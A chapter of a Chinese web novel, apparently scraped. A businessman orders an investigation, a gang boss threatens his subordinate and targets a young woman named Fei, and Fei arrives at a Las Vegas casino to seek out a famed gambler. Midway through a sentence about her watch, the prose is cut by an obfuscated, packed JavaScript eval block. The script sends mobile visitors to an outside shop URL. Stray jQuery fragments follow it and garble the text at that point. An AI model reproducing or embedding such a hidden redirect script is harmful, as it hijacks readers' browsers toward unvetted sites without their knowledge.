偌大的套房里灯火通明,工作了数小时的阿利斯泰尔终于从文件堆里抬起头。
他抬手按了按突突直跳的眉心,起身踱到酒柜前,取出一瓶白兰地,斟了小半杯,缓缓走到落地窗前,望着洛杉矶的满城灯火,久久没有出声。
半晌,他才转身踱回办公桌前,拿起座机听筒,拨出一串烂熟于心的私人号码。
电话很快接通,听筒里传来一道慵懒的男声:“阿尔?你这个连睡觉都抱着报表的工作狂,这个时间点应该还没忙完吧,怎么想起给我打电话了?”
“舅舅,”阿利斯泰尔没有理会男人的调侃,开门见山道,“我需要你帮我查一个人。……”
交代完事情,他简单聊了两句便挂断电话,仰头将杯中的白兰地一饮而尽,灰蓝色的眼底掠过一抹转瞬即逝的寒芒。
与此同时,洛杉矶市中心的一套豪华公寓里。曼尼奇陷在黑丝绒的沙发中,正左拥右抱着两个艳光四射的名模调笑,粗糙的手指在女人身上肆意游走。
一名黑衣属下轻手轻脚地走进来,垂手站在三步开外。
曼尼奇不耐烦地挥了挥手,两个女人立刻收了笑,识趣地整理好裙摆,悄无声息地退了出去。
属下恭敬地递上一叠厚厚的纸质档案。
“老大,丽贝卡·罗德里格斯的全部资料,还有她近半年接触过的所有人、资金往来记录,全都在这儿了。”
他顿了顿,声音压得更低,“她确实养了几个线人,我们已经全部控制住了。但查来查去,她背后并没有其他势力撑腰,就是个普通的调查记者。”
曼尼奇眉头瞬间拧紧,抬手就把档案狠狠砸在属下脸上。纸张散开,哗啦啦落了一地。
他猛地探身揪住对方的衣领,指节攥得发白,咬牙切齿道:
“普通的记者?一个普通记者能让休斯顿盘踞多年的黑警局长和黑/帮一夕垮台?!这他妈就是你查了一个月的结果?!废物!”
“老、老大饶命!”属下吓得魂飞魄散,连声求饶,“是我办事不力,我这就去把那女人抓起来严刑拷打,一定把她背后的人撬出来!”
曼尼奇抬手轻轻拍了拍下属的脸颊,看着他吓得浑身发抖的样子,露出一口森白的牙:“再给你三天的时间。三天后我要是还看不到满意的答案,你就自己沉到太平洋里去。”
“是!是!我马上就去查!”
“滚!”
属下如蒙大赦,连滚带爬地去捡地上散落的文件。
曼尼奇今天本就因为在菲伊那里吃了瘪,憋了一肚子火,此刻看着地上乱糟糟的一片更是火冒三丈,抬脚就把刚理到一半的文件踢得满天飞。
尤觉得不够,又抬脚上去狠狠碾了几下。
就在这时,余光突然扫到脚下的一张文档,上面贴着一张略显青涩的少女照片,女孩穿着中学校服,眉眼清亮,对着镜头笑得干净又灿烂,犹如一朵带着晨露的白茉莉。
曼尼奇瞳孔微缩。
这张脸他绝不会认错!
几个小时前,就是这个看起来人畜无害的小姑娘,让他在手下面前狠狠吃了一次瘪,硬生生接下了他的赌局。
他弯腰一把抓起那张纸,视线死死钉在照片下方的姓名栏上。
菲伊·温斯洛。
果然是她!
曼尼奇盯着这个名字,嘴角缓缓勾起一抹阴冷的笑。
这个人,竟然与丽贝卡认识。
呵呵,有意思。
他从来不相信,世上存在什么巧合。
他用鞋尖踢了踢跪在一旁、头埋得快贴到胸口的属下,眼中露出一丝发现猎物的兴奋:
“再加派人手,给我往死里查这个菲伊·温斯洛。她的出身、她的家人、她的朋友,尤其是这半年在休斯顿和洛杉矶的所有行踪,事无巨细,全部给我挖出来!”
他把那张纸揉成一团,狠狠攥在掌心,眼底闪着贪婪又狠戾的光。
“我倒要看看,这个敢在太岁头上动土的小丫头,到底有什么来头。”
……
拉斯维加斯,是莫哈韦沙漠里最璀璨的一块钻石。
暮色刚沉下去,整条拉斯维加斯大道就汇成一片流动的霓虹海。氖气灯管次第点亮,红的、蓝的、粉的、金的光像融化的糖浆一样泼在柏油路上,把干燥的沙漠空气都染得甜腻发黏。
阿兰达赌场的人工火山准时喷发,橘红色的火光冲天而起,映得半边天都在发烫。
凯撒宫的罗马柱上缠满金灯,穿着盔甲的士兵举着长矛巡逻,旁边巨大的广告牌上,猫王的脸在霓虹灯的映衬下愈发闪耀夺目。
一辆黄色的雪佛兰出租车碾过光影斑驳的路面,稳稳停在阿兰达正门口。
穿红色制服的门童立刻快步上前,恭敬地拉开车门。先落地的是一只踩着古驰细高跟的脚,鞋跟细得像针,在大理石地面上敲出清脆的一声。
菲伊弯腰走出车厢,晚风掀起她身上范思哲黑丝绸吊带裙的裙摆,露出一截纤细白皙的小腿。黑色的大波浪卷发被风吹得微乱,她抬手随意拢了拢,动作慵懒又带着天生的矜贵。
往日里总是一身学生打扮的人,此刻彻底换了模样。
米白色香奈儿粗花呢短外套搭在肩头,袖口露出的手腕上,百达翡丽金表
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17826557|209455||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
闪着冷光。奥利弗复古墨镜遮住了大半张脸,只露出线条柔和的下颌和一抹惹眼的红唇。
手边的爱马仕凯莉包挺括如玉,衬得她整个人像从时尚杂志里走出来的好莱坞女星。
周围的喧闹莫名静了半拍。
路过的男人不自觉放慢脚步,几个正和客人调情的兔女郎也收了笑,偷偷整理起自己的裙摆。
菲伊对此视若无睹,随手抽出一张二十美元的钞票,递给帮她拎出行李箱的门童,淡淡道:“谢谢。”
“祝您入住愉快,女士。”门童接过小费,脸上的笑容更加殷勤。
阿兰达是1989年才开业的新地标,也是全城最奢华的赌场酒店。挑高的大堂穹顶绘着精美的壁画,巨大的水晶吊灯从天花板垂落,折射出万千光点。
菲伊走到前台,报出提前预订的名字。前台小姐核对完信息,双手递上房卡:“温斯洛女士,您预订的顶层豪华套房,两晚。我们的管家会带您上去。”
一位穿着黑色燕尾服的中年管家走上前来,微微躬身:“温斯洛女士,我是您的专属管家查理。有任何需要,请随时吩咐。”
查理领着菲伊走进电梯,按下顶层按钮。电梯平稳上升,透过玻璃幕墙,拉斯维加斯的璀璨夜景尽收眼底。
顶层套房宽敞得惊人,落地窗外就是无边无际的霓虹海洋。查理为她介绍完房间设施,又送上冰镇的香槟和新鲜水果,便轻手轻脚地退了出去。
菲伊卸下外套扔在沙发上,走到窗边俯瞰着脚下这座不夜城。她给自己倒了一杯香槟,浅酌一口。
和曼尼奇的赌局还有两天。她没有选择待在洛杉矶,而是第一时间飞到了拉斯维加斯。
她的目标是最近赌城风头正盛的新晋赌王“杰克”。
这个男人是半年前突然冒出来的,短短半年,横扫拉斯维加斯各大赌场,几乎未尝败绩,坊间甚至传言,他单凭荷官的微表情、指尖小动作,就能精准预判牌面。
流言或许有夸大的成分,但他实打实的战绩骗不了人。
一个能在赌城无往不利、全身而退的人,想来不仅精通各类赌术,还兼备超强心算、记忆力,深谙博弈读心之道,对赌场千术、控牌手法更是了如指掌。
而这些,都是菲伊欠缺的,所以她需要利用系统的租借能力,向顶尖高手“偷师”。放眼全世界,拉斯维加斯无疑是赌场高手云集之地。
有了目标,查起来就很容易了,伊森很快帮她查到了这个“杰克”。据悉,他最近几天都在阿兰达,这也是菲伊出现在这里的原因。
她要制造一场“偶遇”,然后“偷师学艺”。